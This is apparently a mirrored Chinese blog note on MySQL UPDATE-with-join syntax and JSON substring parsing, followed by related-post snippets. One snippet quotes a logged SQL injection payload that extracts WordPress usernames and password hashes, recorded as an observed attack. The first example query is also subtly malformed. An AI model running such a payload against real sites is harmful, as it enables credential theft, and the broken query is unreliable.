MySql UPDATE更新语句备忘

在mysql中,不能直接使用set select的结果,必须使用inner join:

update tb1 inner join (select `字段` from tb2)  tb3 on tb1.id =tb2.id  set tb1.`字段1` = tb3.`字段1`

在sql server中,我们可是使用以下update语句对表进行更新:

update a set a.xx= (select yy from b) where a.id = b.id ;

类似JSON解析,MySql 5.6

-- fs_pay_info json 字符串

-- "90003": key

-- SUBSTRING(str,index,length)

-- LOCATE(subStr,str,startIndex)

SUBSTRING(fs_pay_info,LOCATE(‘"90003":‘,fs_pay_info)+8,IF(LOCATE(‘,‘,fs_pay_info,2) =0,LOCATE(‘}‘,fs_pay_info,2),LOCATE(‘,‘,fs_pay_info,2))-(LOCATE(‘"90003":‘,fs_pay_info)+8)) AS freeamnt

原文地址:https://www.cnblogs.com/dongzhou/p/8327697.html

时间: 2024-10-09 02:58:22

MySql UPDATE更新语句备忘的相关文章

mysql 常用命令(备忘)

1:使用SHOW语句找出在服务器上当前存在什么数据库:mysql> SHOW DATABASES; 2:2.创建一个数据库MYSQLDATAmysql> CREATE DATABASE MYSQLDATA;3:选择你所创建的数据库 mysql> USE MYSQLDATA; (按回车键出现Database changed 时说明操作成功!) 4:查看现在的数据库中存在什么表mysql> SHOW TABLES;5:创建一个数据库表mysql> CREATE TABLE MYT

工作中常用SQL 查询语句备忘

--当A列大于B列时选择A列否则选择B列,当B列大于C列时选择B列否则选择C列.select (case when a>b then a else b end ), (case when b>c then b esle c end) from table_name --求和查询 create table #tmp(rq varchar(10), shengfu nchar(1)) insert into #tmp values('2005-05-09','胜') insert into #tm

java下连接mysql数据库 ——更新语句——update

SQL 语句是诸如update,insert的更新语句,应该用statement的execute()方法. package rjcs; import java.sql.*; public class lianjmysql { // MySQL 8.0 以下版本 - JDBC 驱动名及数据库 URL static final String JDBC_DRIVER = "com.mysql.jdbc.Driver"; static final String DB_URL = "j

mysql update更新带子查询的实现方式

现在要做一下数据移植,需要更新相关的数据,需要在mysql中更新时不能将更新的表作为查询的表. 总结一下: 一:单表更新时 例如: update customer set category = 1 WHERE  deleteflag = 0 and name = '22'; 注意不要子查询,mysql是不允许的. 二:带子查询的复杂更新 如: update tb a,(select  time,namefrom tt )b set time4=b.colwhere a.name=b.name a

转载:mysql update更新带子查询的实现方式

出自:http://576017120.iteye.com/blog/1947154 mysql中更新时不能直接将更新的表作为查询的表,可以通过临时中间表的形式. 总结一下: 一:单表更新时 例如: update customer set category = 1 WHERE  deleteflag = 0 and name = '22'; 注意不要子查询,mysql是不允许的. 二:带子查询的复杂更新 如: update tb a,(select  time,namefrom tt )b se

mysql 触发器的使用(备忘)

触发器创建语法四要素: 1.监视地点(table) 2.监视事件(insert/update/delete) 3.触发时间(after/before) 4.触发事件(insert/update/delete) 语法: create trigger 触发器名称 after/before insert/update/delete on 表名 for each row begin sql语句; end; 不难理解,例如 before insert on 表名,是在insert操作之前触发. 注意old

sql语句备忘:非int类型行转列

如上图,result是varchar类型,需要行转列,百度到的都是对int类型的操作,折腾了很久,才整出来,在这里备个忘,不过据说性能方面堪忧,所以在这里也求看到大神指点指点,哪里还可以改进的,谢谢. 1 --不适用于有类型为text.ntext等不能执行distinct操作的字段 2 SELECT DISTINCT a.code, 3 (SELECT result FROM test b WHERE a.code=b.code AND b.type=1)AS'初审', 4 (SELECT re

mysql 批量更新语句

UPDATE `表名` SET `字段` = CASE id WHEN 1 THEN 3 WHEN 2 THEN 4 WHEN 3 THEN 5 END, title = CASE id WHEN 1 THEN 'New Title 1' WHEN 2 THEN 'New Title 2' WHEN 3 THEN 'New Title 3' END WHERE id IN (1,2,3)

mysql注入攻击扫描备忘;

web服务器出现漏洞,很容易被人家扫描,并尝试注入mysql: 今天尝试着扫描一下真发现网站被注入测试了:贴一段代码: GET /?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9,10,11,12+from+wp_users-- HTTP/1.0" 301 184 "-" "Mozilla/5.0